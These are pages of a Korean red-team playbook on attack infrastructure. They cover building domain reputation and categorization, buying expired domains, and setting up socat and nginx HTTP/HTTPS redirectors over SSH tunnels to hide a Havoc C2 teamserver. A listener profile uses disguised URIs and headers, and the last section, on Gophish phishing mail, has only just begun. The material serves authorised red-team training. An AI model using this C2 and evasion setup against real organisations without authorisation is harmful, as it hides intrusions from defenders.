공격자가 도메인을 구입해 당일날 도메인 세팅을 하고 공격하던 시대는 지난지 오래되었다. 많은 보안 업체들과 공공기관들의 협력으로 인해 요새는 도메인 신뢰도와 도메인 카테고리화라는 기술을 이용해 도메인 블랙리스트와 화이트리스트를 공유한다. 이 리스트들은 각 기관의 내부망에 있는 포워드 프록시에 자동으로 적용되어 매일매일 새로운 도메인들이 블랙/화이트리스트에 업데이트 된다.

까다로운 도메인 분류와 신뢰도를 모두 우회하기 위해서 도메인 프론팅(Domain Fronting)이라는 기술을 사용할 수도 있다. 이에 관련해서는 다른 페이지에서 따로 서술한다.

### 도메인 분류 (Domain Categorization)

도메인 분류는 해당 도메인이 어느 카테고리에 들어가는지 분류하는 작업을 일컫는다. 예를 들어 `cnn.com` 은 "언론" 카테고리로, `seoul.go.kr` 은 "공공기관" 카테고리, `youtube.com` 은 "미디어/엔터테인먼트" 등으로 분류된다. 다양한 업체들의 스캐너들이 인터넷을 돌아다니며 자동적으로 도메인 카테고리화를 적용하거나, 유저들이 자발적으로 도메인 카테고리화 요청을 넣어 카테고리화를 진행하기도 한다.

예를 들어, Symantec의 bluecoat 도메인 분류 서비스/솔루션을 이용해보자. 유투브를 검색하면 다음과 같이 Audio/Vdieo Clip 및 Mixed Content/Potentially Adult 로 분류된다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-e4e43bba1d89d261c6c0cf41a0bfc6123379ecd6%2Fimage.png?alt=media)

레드팀에서 사용할 도메인 또한 분류가 되면 좋다. 카테고리화가 되려면 도메인에 정상적인 컨텐츠를 올려놓거나, 다른 페이지로 리다이렉트 되도록 설정하면 된다. 물론 분류가 성공적일수도 있고, 실패할수도 있다. 도메인 카테고리화는 도메인 신뢰도에 따라 결과가 달라질 수 있으니, 이에 대해 알아보자.

### 도메인 신뢰도 (Domain Reputation)

도메인 신뢰도는 해당 도메인이 얼마나 신뢰될 수 있는지를 보여주는 지표다. 도메인 신뢰도를 평가하는 솔루션/업체들도 다양하고, 다 각자만의 기준이 있어 모두 설명하기가 어렵다. 하지만 대체로 다음과 같은 지표들을 사용해 도메인 신뢰도를 평가한다:

* 이메일 보안 - 주소, 반송 주소, DKIM Signing, SPF, DMARC 등.
* 도메인 나이 - 등록된지 얼마나 지났는가? 1주일 전에 등록된 도메인이라면 신뢰하기 어려울 것이다.
* 도메인 분류 - 위에서 살펴본 도메인 분류/카테고리에 따라 신뢰 점수를 다양하게 부여한다.
* SSL/TLS 인증서 - 검증받은 CA에서 제대로 받은 인증서인지 확인한다.
* 아이피 신뢰도 - Threat Intelligence 데이터베이스나 바이러스 토탈 등에서 발견된 공격에 쓰이던 IP인지 등을 확인한다.
* 컨텐츠 - 웹서버를 운영중인가? 그렇다면, 퀄리티가 좋은 컨텐츠가 있는가.
* 링크 - 해당 도메인이 링크된 적이 있는지, 있다면 어떤 웹사이트들이 얼마나 많이 링크 했는지.

### 구입

레드팀은 고객사와 정식으로 계약을 맺고 합법적으로 일을 진행하기 때문에 도메인 구입에 있어서 딱히 작전보안을 구축할 필요는 없다\*. 따라서 가짜 신분이나 가짜 카드, 페이퍼 페이팔 계정, 믹싱한 암호화폐등을 준비하지 않아도 된다. 그냥 본인의 이름과 회사 법인 카드 등으로 도메인을 구입하면 된다.

도메인 네임 등록 대행 업체 또한 스케치한 제3국의 대행 업체에서 진행할 필요 없이 잘 알려진 업체에서 구입하면 된다. 단, 고객사의 요청에 의해 특정 APT가 자주 사용하는 대행 업체가 있다면, APT 시뮬레이션을 위해 해당 대행 업체에서 도메인을 구입하면 된다.

### 만료된 도메인 구입

새로운 도메인을 구입하지 않고 만료된 도메인을 구입해 사용하는 것 또한 효율적이다. 만료된 도메인들은 새로운 도메인들보다 상대적으로 도메인 신뢰도나 분류가 쉬울 수 있기 때문이다. 심지어 만료된 도메인을 다시 구입해 "살려내는" 경우, 이전에 갖고 있던 신뢰도나 분류가 유지되는 경우도 있다. [ExpiredDomains.net](https://www.expireddomains.net) 같은 사이트들은 만료된 도메인들을 보여주는데, 여기서 원하는 도메인 이름을 구입해 사용하면 된다.

### 레퍼런스

[도메인 카테고리화 및 차단리스트](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki#categorization-and-blacklist-checking-resources)

[OpenDNS 도메인 카테고리화](https://community.opendns.com/domaintagging/)

[도메인 신뢰도 - 이메일](https://postmarkapp.com/blog/how-to-check-your-domain-reputation)

[만료된 도메인 검색](https://www.expireddomains.net)

[도메인 에이징](https://posts.specterops.io/being-a-good-domain-shepherd-57754edd955f)


# HTTP 리다이렉터

\`\`# HTTP 리다이렉터 설정

이 페이지에서는 [예시 인프라](/infrastructure/example-infra) 의 개념을 참고해 레드팀 작전시 필요한 팀서버 및 HTTP 리다이렉터 (Redirector)를 AWS를 이용해 레드팀 공간과 그레이 공간에 설치해본다.

#### 개요

이 페이지에서는 다음과 같은 인프라를 구축한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FY86YKTKbJnKzsvmDgiv3%2Fimage.png?alt=media&amp;token=70aee9a4-3c04-4a1e-b9cc-e55637c8fb1a" alt=""><figcaption></figcaption></figure>

해당 인프라는 비컨이 팀서버에 직접적으로 콜백하지 않고, 클라우드에 있는 리다이렉터를 거쳐 레드팀존의 팀서버로 콜백이 되게끔 설정한 아주 간단한 인프라다. 비컨과 레드팀 팀서버의 네트워크 트래픽은 아래와 같이 일어나게 된다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-ae22e2983934cde95f4295abfe95ab45eaccd88d%2F%EB%A0%88%EB%93%9C%ED%8C%80-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B0%84%EB%8B%A8.png?alt=media" alt=""><figcaption></figcaption></figure>

네트워크 트래픽은 다음과 같이 진행된다. 포트는 443을 사용한다고 가정하지만, 포트는 언제든지 바뀔 수 있다.

1. 비컨 -> 리다이렉터:443
2. (socat) 리다이렉터:443 -> 리다이렉터:2222 - socat을 이용한 리다이렉션
3. (SSH remote port forwarding) 리다이렉터:2222 - 팀서버 443 - SSH 터널
4. (SSH) 팀서버 443 -> 127.0.0.1:443 - SSH 터널
5. 127.0.0.1:443 에서 실행중이던 C2 리스너와 연결

굳이 이렇게까지 트래픽을 보내는 이유는 다음과 같다.

1. 팀 서버를 직접적으로 클라우드 프로바이더 및 인터넷에 연결하지 않음으로서 작전보안과 레드팀 보안을 강화한다.
2. SSH 리모트 포트 포워딩을 통해 팀서버 -> 클라우드 접근은 가능하지만, 반대로 클라우드 -> 팀서버로의 접근은 오로지 SSH 터널을 통해서만 가능하도록 만든다. 이는 만약 리다이렉터 서버가 장악당했을 경우 공격자들이 팀서버를 향해서 어떤 네트워크적 트래픽도 보내지 못하게 하기 위함이다.

오퍼레이터가 물리적으로 접근 가능한 ("내 컴퓨터", "내 노트북") 호스트의 하이퍼바이저에 레드팀 공간을 만든다. 홈랩의 경우 그냥 이미 설치해놨던 칼리 리눅스를 사용하면 된다. 그 뒤, AWS를 이용해 VPC, 서브넷, 방화벽 설정을 마친 뒤, EC2 인스턴스를 1개 생성해 리다이렉터 서버를 구축한다. 마지막으로 타겟 호스트에서 비컨을 실행해 해당 비컨이 팀서버까지 도달할 수 있는지를 확인하며 실습을 마친다.

#### 레드팀 공간 설정

1. 하이퍼바이저와 가상머신 오퍼레이터가 실제로 사용할 가상머신을 하이퍼바이저 안에 설치한다. 이 부분은 스킵한다. 대부분 오펜시브 시큐리티에 관심이 있다면 버츄얼박스나 VMWare player/workstation 안에 칼리 리눅스를 사용하고 있을테니, 그것을 사용하면 된다.
2. C2 프레임워크 설치 Sliver, Mythic 설치해도 되지만 이번 실습에서는 비교적 최근에 나온 [Havoc Framework](https://github.com/HavocFramework/Havoc)를 #1번의 가상머신에 설치한다. 물론, 자신이 원하는 C2 프레임워크(Cobalt Strike, Brute Ratel, Nighthawk, 등)를 아무거나 설치해도 상관없다.

아래의 배시 명령어들은 칼리 리눅스 2023.1 을 기준이며, 칼리나 Havoc의 버전이 바뀔때마다 조금씩 바뀔 수 있다. 뭔가 잘 되지 않을 경우 하복 프레임워크의 공식 문서를 참고하거나 Docker 버전을 이용해 설치한다.

```
# Install Prereq 
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm

# Install python3.10 - should be installed by default, but still. 
echo 'deb http://ftp.de.debian.org/debian bookworm main' >> /etc/apt/sources.list
sudo apt update
sudo apt install python3-dev python3.10-dev libpython3.10 libpython3.10-dev python3.10

cd /opt 
git clone https://github.com/HavocFramework/Havoc.git

# Build the client 
cd /opt/Havoc/Client 
pip3 install cmake 
make

# Build the teamserver 
cd /opt/Havoc/Teamserver

go mod download golang.org/x/sys  
go mod download github.com/ugorji/go
./Install.sh 
make
./teamserver --help 
```

3. 설치가 끝났다면 하복 클라이언트로 하복 팀서버에 접속해본다. 기본 프로필을 사용하기 때문에 계정 정보는 `C5pider:password1234` 를 사용하면 된다.

```
./teamserver server -d 
./Havoc 

user: C5pider
password: password1234 
```

#### 그레이 공간 설정

그레이 공간은 AWS를 이용할 것이며, 다음의 설정들을 하면 된다.

1. 기본 VPC 안에 레드팀 전용 서브넷 생성
2. SSH 키 생성 및 설정
3. EC2 인스턴스 생성 및 리다이렉터 서버 설정

\---

1. 레드팀 전용 서브넷 생성 VPC 서비스를 검색한 뒤 왼쪽의 "서브넷"을 클릭해 이번 실습 전용 서브넷을 생성한다. 이번 실습에서는 다음과 같은 설정을 했다.

* VPC ID: 본인의 기본 AWS VPC
* 서브넷 이름: groot-subnet-1
* IPv4 CIDR: 172.31.1.0/24

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-78350d17a35f140253ad06a15369646167f4aa7c%2Faws-subnet-create.PNG?alt=media" alt=""><figcaption></figcaption></figure>

서브넷 생성 후 오른쪽 클릭 -> 서브넷 설정 편집 -> "퍼블릭 IPv4 주소 자동 할당 활성화" 를 설정한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-397d00787ea0e189931a6ad70d4cfdf17d2ed20f%2Faws-subnet-automatic-pub-ipv4.PNG?alt=media" alt=""><figcaption></figcaption></figure>

3. EC2 전용 SSH 키 페어 생성 후 설정 EC2 인스턴스들을 생성하기 전 접속에 필요한 SSH 키 페어를 생성한다. 팀서버가 설치된 오퍼레이터의 가상머신에서 생성하는 것을 추천한다.

```
┌──(root㉿kali)-[~/grootredteam]
└─# ssh-keygen -f rsa -b 2048 -f grootssh -q -N "" 
                                                                                            
┌──(root㉿kali)-[~/grootredteam]
└─# ls -alh   
total 16K
drwxr-xr-x  2 root root 4.0K Apr  9 20:24 .
drwx------ 43 root root 4.0K Apr  9 20:22 ..
-rw-------  1 root root 1.8K Apr  9 20:24 grootssh
-rw-r--r--  1 root root  391 Apr  9 20:24 grootssh.pub
```

이후 AWS에서 EC2를 검색한 뒤, 왼쪽의 메뉴를 쭉 내려 `네트워크 및 보안 -> 키 페어` 로 간다. 오른쪽 위의 `작업 -> 키 페어 가져오기` 를 누른다. 이름을 지정해주고, 아래의 텍스트상자에 공개 키 `grootssh.pub` 의 내용을 복사/붙여넣기 해주면 끝이다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-3380b80b7ddd67a6599f6401cb0479cb5621399f%2Faws6-sshkey.PNG?alt=media" alt=""><figcaption></figcaption></figure>

4. EC2 인스턴스 생성 다시 왼쪽의 메뉴에서 `인스턴스` 로 간 뒤, 인스턴스 시작을 누른다. 인스턴스의 이름을 대충 지정해준다.

* 애플리케이션 및 OS 이미지 - "프리 티어 사용 가능" 지정 (Amazon Linux 2023 AMI) - 아마 2023년이 지나면 2024, 2025... 이렇게 갈 것 이다.
* 인스턴스 유형: t2.micro - "프리 티어 사용 가능"
* 키 페어 (로그인) - 위에서 만들었던 키 페어 이름 지정
* 네트워크 설정 - "편집" 클릭 후 스샷 참고. 위에서 만들었던 서브넷을 지정한 뒤 아래를 참고한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-f29ba139eda8d2591ce3185a146715cdebdcc3c3%2Faws-ec2-networking-1.PNG?alt=media" alt=""><figcaption></figcaption></figure>

그 뒤, 방화벽 설정에서 오로지 본인의 집 주소 IP에서만 SSH와 TCP/443가 가능하도록 설정한다. "내 IP" 를 누르면 본인공개IP/32 가 자동적으로 설정된다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-60bb5f11a4cb22492dd4d277acb55734a329bf93%2Faws-ec2-networking-2.png?alt=media" alt=""><figcaption></figcaption></figure>

이후 다른 설정은 건들지 않고 인스턴스를 생성한다. 생성한 뒤 인스턴스를 클릭하면 하단에 공개 IP 주소가 뜬다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-8470d02a9a97494477dc9c8fad7a8b7577bc896a%2Faws9-ec2-publicip.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 리다이렉터 서버 설정

SSH 키를 이용해 리다이렉터 서버에 접속이 가능한지 확인한다. 만약 접속이 되지 않을 경우, 다시 한 번 보안그룹 (방화벽) 설정에서 tcp/22 를 허용하고 있는지, 생성한 서브넷이 "퍼블릭 IPv4 주소 자동 할당 활성화" 가 설정되어 있는지, SSH 키는 적용을 했는지 등을 다시 한 번 확인한다.

```
└─# ssh -i grootssh ec2-user@13.58.42.50     
X11 forwarding request failed on channel 0
   ,     #_
   ~\_  ####_        Amazon Linux 2023
  ~~  \_#####\
  ~~     \###|
  ~~       \#/ ___   https://aws.amazon.com/linux/amazon-linux-2023
   ~~       V~' '->
    ~~~         /
      ~~._.   _/
         _/ _/
       _/m/'
Last login: Mon Apr 10 01:41:07 2023 from <somewhere>
[ec2-user@ip-172-31-1-220 ~]$ 
```

접속한 뒤 socat을 설치하고, 로컬호스트:2222로 리다이렉트 하도록 설정한다. 로컬호스트:2222 인 이유는 어차피 SSH 리모트 포트 포워딩을 할 것이기 때문이다.

```
sudo dnf install socat 
sudo socat tcp-listen:443,reuseaddr,fork,bind=0.0.0.0 tcp:127.0.0.1:2222
```

그 뒤, 다음의 테스트를 거쳐 리다이렉트가 잘 되는지 확인한다.

1. 레드팀 호스트에서 넷캣을 이용해 포트 443을 연다.
2. 레드팀 호스트 -> 리다이렉터로 SSH 리모트 포트 포워딩을 구축한다.
3. 아무 호스트에서나 리다이렉터의 443으로 접속해본다. 그 뒤, 트래픽이 리다이렉트 되는 것을 확인한다.

```
(레드팀) echo 'hello from redteam zone, through redirector!' > hi.txt 
(레드팀) python -m http.server 443 
(레드팀) ssh -i grootssh ec2-user@<리다이렉터IP> -R 2222:127.0.0.1:443
(레드팀) curl http://<리다이렉터>:443/hi.txt 
 
예시) 

└─# curl http://13.58.42.50:443/hi.txt
hello from redteam zone, through redirector!
```

신기하다, 분명히 `hi.txt` 파일은 레드팀, 본인의 가상머신에서 만든 파일이다. 리다이렉터에는 해당 파일이 존재하지 않는다. 그럼에도 불구하고 `http://리다이렉터:443/hi.txt` 를 방문하면, 오히려 레드팀 호스트의 `hi.txt` 파일이 반환된다. 이는 리다이렉터 덕분이다.

#### C2 리다이렉트 실습

이번에는 포트 80 HTTP를 이용해 실습을 진행한다.

1. 리다이렉터 서버에서 socat 을 실행한다 (위에서 실행중이였다면 그냥 냅둔다)
2. SSH 리모트 포트 포워딩을 해 터널을 구축한다
3. 하복 프레임워크에서 리다이렉트 관련된 리스너와 에이전트를 생성한다.
4. 에이전트 실행 후, 리다이렉트 서버를 거쳐 레드팀 호스트의 팀서버까지 잘 비컨이 도착하는지 확인한다.
5. 리다이렉트 서버 - socat 실행

```
sudo socat tcp-listen:80,reuseaddr,fork,bind=0.0.0.0 tcp:127.00.1:2222
```

2. 레드팀 호스트 - SSH 리모트 포트 포워딩 실행

```
ssh -i <ssh키> ec2-user@<리다이렉트IP> -R 2222:127.0.0.1:80
```

3. 레드팀 호스트 - 하복 프레임워크에서 리스너와 에이전트 생성

View -> Listeners 로 가 HTTP 리스너를 생성한다. Host에는 꼭 리다이렉터의 공개 IP 주소를 설정해준다. Host(Bind) 에서도 꼭 `0.0.0.0` 을 설정해줘야한다. 트래픽이 SSH 리모트 터널을 통해서 들어올 때 `127.0.0.1` 주소로 들어오기 때문이다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-9cf85779dfe44308ecef149615a0c43a3a0955cc%2Fhavoc-listener-redirector2.png?alt=media" alt=""><figcaption></figcaption></figure>

Attack -> Payloads 로 가 페이로드를 생성한 뒤 타겟 호스트에서 실행시킨다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-2aa0e9c6ecaacf9bd5641f3b38f403968a666049%2Fhavoc-callback.PNG?alt=media" alt=""><figcaption></figcaption></figure>

실행하면 리다이렉터 `13.58.42.50` 로 트래픽을 날리지만, 로컬에 있는 레드팀 호스트의 팀서버에 비컨이 콜백한 것을 볼 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-8d5bfc191364389c50d058272677f8aa6b9eda5a%2Fhavoc-success.PNG?alt=media" alt=""><figcaption></figcaption></figure>

#### 마치며

이번 페이지에서는 간단한 레드팀 공간 설정, 그레이 공간 설정 및 클라우드에서 리다이렉터 서버 운영 등에 대해서 알아봤다. 추후 도메인, HTTPS, certbot을 이용한 HTTPS 리다이렉팅을 시도해도 되고, 이 모든 과정을 테라폼으로 만들어 자동화를 진행할 수도 있을 것이다. 또한, 지금은 간단하게 하기 위해 socat을 이용한 리다이렉팅을 했지만 좀 더 세분화되고 고급 리다이렉팅을 위해서는 리버스 프록시나 nginx/apache 등을 통한 URL/URI/User-Agent/IP 화이트리스트 등을 진행할 수도 있다. 이것은 추후 다른 페이지에서 다룬다.


# HTTPS 리다이렉터

이 페이지에서는 [HTTP 리다이렉터](/infrastructure/http-redirector)의 개념을 기반으로 HTTPS 리다이렉터를 구축한다. HTTP 리다이렉터를 설치했고, 리다이렉터의 개념을 이해하고 있다면 크게 바뀌는 것은 없다.

## 개요

이 페이지에서는 다음과 같은 인프라를 구축한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FlbGXyZeXQ9scTCJaxiHr%2Fhttps-redirector-infra.drawio.png?alt=media&amp;token=efdfdad9-e23a-4c51-a498-82fc9c0dd948" alt=""><figcaption></figcaption></figure>

위 스크린샷은 HTTP 리다이렉터 페이지의 스크린샷과 동일하다. 네트워크 트래픽의 플로우 또한 동일하다. 이와 관련된 설명은 이 페이지에서는 생략한다.

HTTP 리다이렉터때와 달라진 점은 아래와 같다.

1. Socat 대신 Nginx를 리버스 프록시 역할로 사용해 리다이렉션을 실행한다.
2. HTTPS 통신을 위해 Certbot 으로 Lets Encrypt 인증서를 발급받는다.
3. 발급 받은 인증서를 Nginx와 Havoc 프레임워크에 설정한다.

## 리다이렉터 서버 설정

이전에 구축했던 리다이렉터 EC2 인스턴스를 사용해도 되지만, 이번 실습에서는 새로 인스턴스를 생성했다. 이전 것을 사용해도 무방하다.

EC2, Subnet, SSH 키 페어 생성에 관해서는 설명을 생략한다. 이전의 페이지들을 참고한다.

* **이름:** redirector2
* **운영체제:** 우분투 22.04 LTS server "프리 티어 가능"
* **서브넷:** 생성해뒀던 서브넷 아무거나
* **보안그룹:** 22 - 집 IP, 80/443 - 모든 IPv4 에서 접근 가능

1. SSH 접속 이후, Nginx와 Certbot을 설치한다.

```
# Install necessary stuffs 
sudo apt update -y 
sudo apt install nginx -y
sudo apt install certbot python3-certbot-nginx -y 
sudo rm /etc/nginx/sites-enabled/default 
```

2. 아래의 기본 Nginx 설정 파일을 위에서 지웠던 `/etc/nginx/sites-enabled/default` 에다 쓴다.

```
// sudo vim /etc/nginx/sites-enabled/default 

server {
	listen 80 default_server;
	listen [::]:80 default_server;

	root /var/www/html;
        index index.html;
        server_name *.<도메인.com>; # CHANGE ME with your domain name! 

        location / {
                try_files $uri $uri/ @c2;
        }

        location @c2 {
                proxy_pass https://127.0.0.1:2222;
                proxy_redirect off;
                proxy_ssl_verify off;
                proxy_set_header Host $host;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }
}
```

3. Certbot을 실행해 TLS 인증서를 만든다.

TLS 인증서를 받으려면 도메인이 있어야 하고, DNS에서 리다이렉터 서버의 IP주소를 가르키는 A레코드도 하나 있어야 한다. Route 53나 Namecheap 등에 가서 생성한다. 이번 실습에서는 `web.grootbaon.com` 레코드를 생성했다.&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FAJPWPBK3jZQS1drL24dj%2Fimage.png?alt=media&amp;token=00ca6ba5-d2fb-489b-89b8-892a48c81fc5" alt=""><figcaption></figcaption></figure>

또한, 0.0.0.0에서 포트 80/443 인바운드 접근하도록 보안그룹을 잘 설정했는지 확인한다. DNS A 레코드와 방화벽 설정이 좋다면 cerbot을 실행한다.

```
sudo certbot --nginx -d web.grootbaon.com --non-interactive --agree-tos -m webmaster@grootbaon.com 
```

Certbot의 좋은 점은 `--nginx` 플러그인이 스스로 Nginx 설정 파일을 업데이트 해준다는 것이다. 업데이트가 끝난 설정 파일 - `/etc/nginx/sites-enabled/default` 은 다음과 같을 것이다.

```
server {
        root /var/www/html;
        index index.html;
        server_name *.grootbaon.com; # CHANGE ME with your domain name! 

	location / {
                try_files $uri $uri/ @c2;
        }

        location @c2 {
                proxy_pass https://127.0.0.1:2222;
                proxy_redirect off;
                proxy_ssl_verify off;
                proxy_set_header Host $host;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }

    listen [::]:443 ssl ipv6only=on; # managed by Certbot
    listen 443 ssl; # managed by Certbot
    ssl_certificate /etc/letsencrypt/live/web.grootbaon.com/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/web.grootbaon.com/privkey.pem; # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot
}

server {
    if ($host = web.grootbaon.com) {
        return 301 https://$host$request_uri;
    } # managed by Certbot

    listen 80 default_server;
    listen [::]:80 default_server;

    server_name *.grootbaon.com;
    return 404; # managed by Certbot
}
```

작전보안을 생각하자면 보안업체들의 IP 스캐너 주소 블랙 리스트, User-Agent 화이트 리스트, URI 화이트 리스트등을 진행할 수도 있다. 단, 이번에는 빠르고 간단하게 실습을 하기 위해 어느정도의 작전보안 관련 설정은 생략한다.

4. 마지막으로 TLS 인증서 파일을 로컬 팀서버로 SCP 하기 편하도록 현재 유저의 홈 디렉토리에 가져다놓자.

```
cd ~
sudo cp /etc/letsencrypt/live/web.grootbaon.com/fullchain.pem .
sudo cp /etc/letsencrypt/live/web.grootbaon.com/privkey.pem .
sudo chown ubuntu:ubuntu fullchain.pem
sudo chown ubuntu:ubuntu privkey.pem 
```

## 팀서버 (하복) 설정

이제 거의 끝났다. 하복 프레임워크도 위에서 만든 TLS 인증서를 사용하도록 설정 한 뒤, 리스너를 만들고 에이전트를 만든 뒤 실행만 하면 된다.

1. TLS 인증서 파일을 리다이렉터 서버에서 로컬 팀 서버로 가져온다.

```
cd /root
scp -i <ssh키> ubuntu@<리다이렉터-IP>:/home/ubuntu/fullchain.pem .
scp -i <ssh키> ubuntu@<리다이렉터-IP>:/home/ubuntu/privkey.pem .
```

2. TLS 인증서 파일을 적용하도록 프로필 파일을 수정한다.

하복에 기본적으로 있는 `havoc.yaotl` 파일을 수정하자. 파일을 vim 으로 연 뒤, 맨 아래에다가 아래의 `Listeners` 블럭을 추가한다. 유의할 설정은 다음과 같다.

* Hosts = 리다이렉터 서버의 DNS 호스트이름을 추가한다.
* Cert 블럭 = `fullchain.pem` 파일과 `privkey.pem` 파일의 위치를 쓴다.

```
Listeners {
    Http {
        Name         = "HTTPS Listener"
        Hosts        = ["web.grootbaon.com"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        PortBind     = 443
        PortConn     = 443
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
        Uris         = [
            "/redteamplaybook.gif",
            "/index.php",
            "/grootsecurity.txt",
            "/index.js"
        ]
        Headers      = [
            "X-RTP-Version: Prod",
            "X-HTTP-Client: true",
        ]

        Response {
            Headers  = [
                "Content-type: text/plain",
                "X-Powered-By: ASP.NET",
            ]
        }

        Cert {
            Cert = "/root/grootredteam/fullchain.pem"
            Key = "/root/grootredteam/privkey.pem"
        }
    }
}
```

3. 팀서버 -> 리다이렉터로 SSH 리모트 포트 포워딩을 실행한다.

이 리모트 포트 포워딩으로 Nginx -> 리다이렉터:2222 -> 팀서버:443 의 네트워크 트래픽 플로우가 완성된다.

```
(팀서버) ssh -i <ssh키> ubuntu@<리다이렉터IP> -R 2222:127.0.0.1:443
```

4. 팀 서버 실행 후 에이전트를 생성한 뒤, 테스트를 해본다.

```
./teamserver server --profile ./profiles/havoc.yaotl 
```

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FPDyGfDskcDqRh1zqJZhn%2Fhttps-redirector-havoc-success.PNG?alt=media&amp;token=55f3d6ae-df59-4f4e-9102-a9ff08827543" alt=""><figcaption></figcaption></figure>

External 이 127.0.0.1 인걸로 보아 SSH 터널을 통해 콜백을 한 것을 볼 수 있다.

Nginx의 `/var/log/nginx/access.log` 파일을 살펴보면 에이전트가 콜백하고 있는 것 또한 볼 수 있다.

```
ubuntu@ip-172-31-89-135:~$ cat /var/log/nginx/access.log | tail -5 

<타겟IP> - - [19/Apr/2023:03:38:19 +0000] "POST /test.txt HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
<타겟IP> - - [19/Apr/2023:03:38:22 +0000] "POST /test.txt HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
<타겟IP> - - [19/Apr/2023:03:38:24 +0000] "POST /test.txt HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
<타겟IP> - - [19/Apr/2023:03:38:26 +0000] "POST /test.txt HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
<타겟IP> - - [19/Apr/2023:03:38:29 +0000] "POST /funny_cat.gif HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
```

## 마치며

HTTPS 리다이렉터는 공격자들의 인프라에 가장 기본적인 요소 중 하나다. 이 리다이렉터가 어떻게 구축되는지 알아보고, 직접 실습해본 뒤, 방어자의 입장에서 공격자들의 인프라가 어떻게 생겼는지, 어떤 설정이 되어 있는지, 어떤 작전 보안 실패가 일어날 수 있는지 등에 대해서 알아보도록 하자.

### 레퍼런스&#x20;

* <https://coffeegist.com/security/resilient-red-team-https-redirection-using-nginx/>
* <https://havocframework.com/docs/profiles>


# SMTP Gophish + Mail

이 페이지는 아래의 레퍼런스의 글들을 참고한 뒤 재구성한 페이지다. 모든 명령어와 코드는 레퍼런스 섹션을 참고했다.

**프로젝트 리포:** <https://github.com/ChoiSG/RTPSourceCodes/tree/main/iac/smtp-terraform/configs>

## 개요

메일 인프라는 다양한 방법으로 구성할 수 있지만, 대부분 다음과 같은 요소들을 사용한다.

* 도메인
  * 이메일용 도메인 1개
